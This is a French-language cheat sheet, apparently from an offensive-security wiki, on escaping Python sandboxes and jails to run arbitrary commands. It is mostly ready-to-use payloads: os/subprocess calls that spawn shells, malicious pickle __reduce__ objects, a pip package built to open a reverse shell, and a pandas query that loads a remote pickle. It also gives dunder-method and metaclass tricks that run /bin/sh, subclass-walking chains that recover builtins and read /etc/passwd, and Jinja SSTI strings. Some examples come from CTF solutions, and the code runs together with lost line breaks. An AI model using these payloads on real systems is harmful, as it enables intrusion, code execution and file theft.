Voici quelques astuces pour contourner les protections des sandbox Python et exécuter des commandes arbitraires.
Bibliothèques d'exécution de commandes
La première chose que vous devez savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
os.system("ls")os.popen("ls").read()commands.getstatusoutput("ls")commands.getoutput("ls")commands.getstatus("file/path")subprocess.call("ls", shell=True)subprocess.Popen("ls", shell=True)pty.spawn("ls")pty.spawn("/bin/bash")platform.os.system("ls")pdb.os.system("ls")#Import functions to execute commandsimportlib.import_module("os").system("ls")importlib.__import__("os").system("ls")imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")imp.os.system("ls")imp.sys.modules["os"].system("ls")sys.modules["os"].system("ls")__import__("os").system("ls")import osfrom os import*#Other interesting functionsopen("/etc/passwd").read()open('/var/www/html/input', 'w').write('123')#In Python2.7execfile('/usr/lib/python2.7/os.py')system('ls')
N'oubliez pas que les fonctions open et read peuvent être utiles pour lire des fichiers à l'intérieur du sandbox Python et pour écrire du code que vous pourriez exécuter pour contourner le sandbox.
La fonction Python2 input() permet d'exécuter du code Python avant que le programme ne plante.
Python essaie de charger les bibliothèques depuis le répertoire actuel en premier (la commande suivante affichera d'où Python charge les modules): python3 -c 'import sys; print(sys.path)'
Contourner le sandbox pickle avec les packages Python installés par défaut
Packages par défaut
Vous pouvez trouver une liste des packages préinstallés ici: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Notez qu'à partir d'un pickle, vous pouvez faire en sorte que l'environnement Python importe des bibliothèques arbitraires installées dans le système.
Par exemple, le pickle suivant, lorsqu'il est chargé, va importer la bibliothèque pip pour l'utiliser:
#Note that here we are importing the pip library so the pickle is created correctly#however, the victim doesn't even need to have the library installed to execute it#the library is going to be loaded automaticallyimport pickle, os, base64, pipclassP(object):def__reduce__(self):return (pip.main,(["list"],))print(base64.b64encode(pickle.dumps(P(), protocol=0)))
Vous pouvez télécharger le package pour créer le shell inversé ici. Veuillez noter qu'avant de l'utiliser, vous devez le décompresser, modifier le setup.py, et mettre votre adresse IP pour le shell inversé:
Ce package s'appelle Reverse. Cependant, il a été spécialement conçu de sorte que lorsque vous quittez le shell inversé, le reste de l'installation échouera, donc vous ne laisserez aucun package Python supplémentaire installé sur le serveur lorsque vous partirez.
Évaluation du code Python
Notez que exec autorise les chaînes multilignes et le point-virgule, mais eval ne le permet pas (vérifiez l'opérateur walrus)
Si certains caractères sont interdits, vous pouvez utiliser la représentation en hexadécimal/octal/Base64 pour contourner la restriction:
exec("print('RCE'); __import__('os').system('ls')")#Using ";"exec("print('RCE')\n__import__('os').system('ls')")#Using "\n"eval("__import__('os').system('ls')")#Eval doesn't allow ";"eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec'))#This way eval accept ";"__import__('timeit').timeit("__import__('os').system('ls')",number=1)#One liners that allow new lines and tabseval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
Autres bibliothèques permettant d'évaluer du code python
#Pandasimport pandas as pddf = pd.read_csv("currency-rates.csv")df.query('@__builtins__.__import__("os").system("ls")')df.query("@pd.io.common.os.popen('ls').read()")df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")# The previous options work but others you might try give the error:# Only named functions are supported# Like:df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
Opérateurs et astuces rapides
# walrus operator allows generating variable inside a list## everything will be executed in order## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/[a:=21,a*2][y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
Contourner les protections à travers les encodages (UTF-7)
Dans cette analyse, UFT-7 est utilisé pour charger et exécuter du code Python arbitraire à l'intérieur d'un sandbox apparent :
Il est également possible de contourner cela en utilisant d'autres encodages, par exemple raw_unicode_escape et unicode_escape.
Exécution Python sans appels
Si vous êtes à l'intérieur d'une prison Python qui ne vous permet pas de faire des appels, il existe encore des moyens d'exécuter des fonctions, du code et des commandes arbitraires.
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/@exec@inputclassX:pass# The previous code is equivalent to:classX:passX =input(X)X =exec(X)# So just send your python code when prompted and it will be executed# Another approach without calling input:@eval@'__import__("os").system("sh")'.formatclass_:pass
RCE création d'objets et surcharge
Si vous pouvez déclarer une classe et créer un objet de cette classe, vous pourriez écrire/écraser différentes méthodes qui peuvent être déclenchéessansavoir besoin de les appeler directement.
RCE avec des classes personnalisées
Vous pouvez modifier certaines méthodes de classe (en écrasant des méthodes de classe existantes ou en créant une nouvelle classe) pour les faire exécuter un code arbitraire lorsqu'elles sont déclenchées sans les appeler directement.
# This class has 3 different ways to trigger RCE without directly calling any functionclassRCE:def__init__(self):self +="print('Hello from __init__ + __iadd__')"__iadd__=exec#Triggered when object is createddef__del__(self):self -="print('Hello from __del__ + __isub__')"__isub__=exec#Triggered when object is created__getitem__=exec#Trigerred with obj[<argument>]__add__=exec#Triggered with obj + <argument># These lines abuse directly the previous class to get RCErce =RCE()#Later we will see how to create objects without calling the constructorrce["print('Hello from __getitem__')"]rce +"print('Hello from __add__')"del rce# These lines will get RCE when the program is over (exit)sys.modules["pwnd"]=RCE()exit()# Other functions to overwrite__sub__ (k -'import os; os.system("sh")')__mul__ (k *'import os; os.system("sh")')__floordiv__ (k //'import os; os.system("sh")')__truediv__ (k /'import os; os.system("sh")')__mod__ (k %'import os; os.system("sh")')__pow__ (k**'import os; os.system("sh")')__lt__ (k <'import os; os.system("sh")')__le__ (k <='import os; os.system("sh")')__eq__ (k =='import os; os.system("sh")')__ne__ (k !='import os; os.system("sh")')__ge__ (k >='import os; os.system("sh")')__gt__ (k >'import os; os.system("sh")')__iadd__ (k +='import os; os.system("sh")')__isub__ (k -='import os; os.system("sh")')__imul__ (k *='import os; os.system("sh")')__ifloordiv__ (k //='import os; os.system("sh")')__idiv__ (k /='import os; os.system("sh")')__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %='import os; os.system("sh")')__ipow__ (k **='import os; os.system("sh")')__ilshift__ (k<<='import os; os.system("sh")')__irshift__ (k >>='import os; os.system("sh")')__iand__ (k ='import os; os.system("sh")')__ior__ (k |='import os; os.system("sh")')__ixor__ (k ^='import os; os.system("sh")')
La chose clé que les méta-classes nous permettent de faire est de créer une instance d'une classe, sans appeler directement le constructeur, en créant une nouvelle classe avec la classe cible comme méta-classe.
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed# This will define the members of the "subclass"classMetaclass(type):__getitem__=exec# So Sub[string] will execute exec(string)# Note: Metaclass.__class__ == typeclassSub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclasspass# Nothing special to doSub['import os; os.system("sh")']## You can also use the tricks from the previous section to get RCE with this object
Création d'objets avec des exceptions
Lorsqu'une exception est déclenchée, un objet de la classe Exception est créé sans que vous ayez besoin d'appeler directement le constructeur (une astuce de @_nag0mez):
classRCE(Exception):def__init__(self):self +='import os; os.system("sh")'__iadd__=exec#Triggered when object is createdraise RCE #Generate RCE object# RCE with __add__ overloading and try/except + raise generated objectclassKlecko(Exception):__add__=exectry:raise Kleckoexcept Klecko as k:k +'import os; os.system("sh")'#RCE abusing __add__## You can also use the tricks from the previous section to get RCE with this object
Plus de RCE
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/# If sys is imported, you can sys.excepthook and trigger it by triggering an errorclassX:def__init__(self,a,b,c):self +="os.system('sh')"__iadd__=execsys.excepthook = X1/0#Trigger it# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py# The interpreter will try to import an apt-specific module to potentially# report an error in ubuntu-provided modules.# Therefore the __import__ functions are overwritten with our RCEclassX():def__init__(self,a,b,c,d,e):self +="print(open('flag').read())"__iadd__=eval__builtins__.__import__ = X{}[1337]
Lire le fichier avec l'aide de builtins et la licence
__builtins__.__dict__["license"]._Printer__filenames=["flag"]a =__builtins__.helpa.__class__.__enter__=__builtins__.__dict__["license"]a.__class__.__exit__=lambdaself,*args: Nonewith (a as b):pass
Si vous pouvez accéder à l'objet __builtins__, vous pouvez importer des bibliothèques (remarquez que vous pourriez également utiliser ici une autre représentation de chaîne montrée dans la dernière section) :
Lorsque vous n'avez pas __builtins__, vous ne pourrez pas importer quoi que ce soit ni même lire ou écrire des fichiers car toutes les fonctions globales (comme open, import, print...) ne sont pas chargées.
Cependant, par défaut, Python importe beaucoup de modules en mémoire. Ces modules peuvent sembler bénins, mais certains d'entre eux importent également des fonctionnalités dangereuses à l'intérieur d'eux qui peuvent être accessibles pour obtenir même une exécution de code arbitraire.
Dans les exemples suivants, vous pouvez observer comment abuser de certains de ces modules "bénins" chargés pour accéder à des fonctionnalités dangereuses à l'intérieur d'eux.
Python2
#Try to reload __builtins__reload(__builtins__)import __builtin__# Read recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# Write recovering <type 'file'> in offset 40().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')# Execute (another method)().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined functionget_flag.__globals__['__builtins__']['__import__']("os").system("ls")
Python3
# Obtain builtins from a globally defined function# https://docs.python.org/3/library/functions.htmlhelp.__call__.__builtins__# or __globals__license.__call__.__builtins__# or __globals__credits.__call__.__builtins__# or __globals__print.__self__dir.__self__globals.__self__len.__self____build_class__.__self__# Obtain the builtins from a defined functionget_flag.__globals__['__builtins__']# Get builtins from loaded classes[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
# Recover __builtins__ and make everything easier__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')
Charges intégrées
# Possible payloads once you have found the builtins__builtins__["open"]("/etc/passwd").read()__builtins__["__import__"]("os").system("ls")# There are lots of other payloads that can be abused to execute commands# See them below
Globaux et locaux
Vérifier les globals et locals est un bon moyen de savoir à quoi vous pouvez accéder.
Ici, je veux expliquer comment découvrir facilement plus de fonctionnalités dangereuses chargées et proposer des exploits plus fiables.
Accéder aux sous-classes avec des contournements
Une des parties les plus sensibles de cette technique est la capacité à accéder aux sous-classes de base. Dans les exemples précédents, cela a été fait en utilisant ''.__class__.__base__.__subclasses__(), mais il existe d'autres moyens possibles:
#You can access the base from mostly anywhere (in regular conditions)"".__class__.__base__.__subclasses__()[].__class__.__base__.__subclasses__(){}.__class__.__base__.__subclasses__()().__class__.__base__.__subclasses__()(1).__class__.__base__.__subclasses__()bool.__class__.__base__.__subclasses__()print.__class__.__base__.__subclasses__()open.__class__.__base__.__subclasses__()defined_func.__class__.__base__.__subclasses__()#You can also access it without "__base__" or "__class__"# You can apply the previous technique also here"".__class__.__bases__[0].__subclasses__()"".__class__.__mro__[1].__subclasses__()"".__getattribute__("__class__").mro()[1].__subclasses__()"".__getattribute__("__class__").__base__.__subclasses__()# This can be useful in case it is not possible to make calls (therefore using decorators)().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string# This is common in Django (and Jinja) environments(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
Recherche de bibliothèques dangereuses chargées
Par exemple, en sachant qu'avec la bibliothèque sys il est possible d'importer des bibliothèques arbitraires, vous pouvez rechercher tous les modules chargés qui ont importé sys à l'intérieur d'eux:
Il y en a beaucoup, et nous en avons juste besoin d'un pour exécuter des commandes :
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
Nous pouvons faire la même chose avec d'autres bibliothèques que nous savons pouvoir être utilisées pour exécuter des commandes:
#os[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__for x in''.__class__.__base__.__subclasses__()if"'os."instr(x) ][0]['system']('ls')#subprocess[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in''.__class__.__base__.__subclasses__()if"'subprocess."instr(x) ][0]['Popen']('ls')[ x for x in''.__class__.__base__.__subclasses__()if x.__name__=='Popen' ][0]('ls')#builtins[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")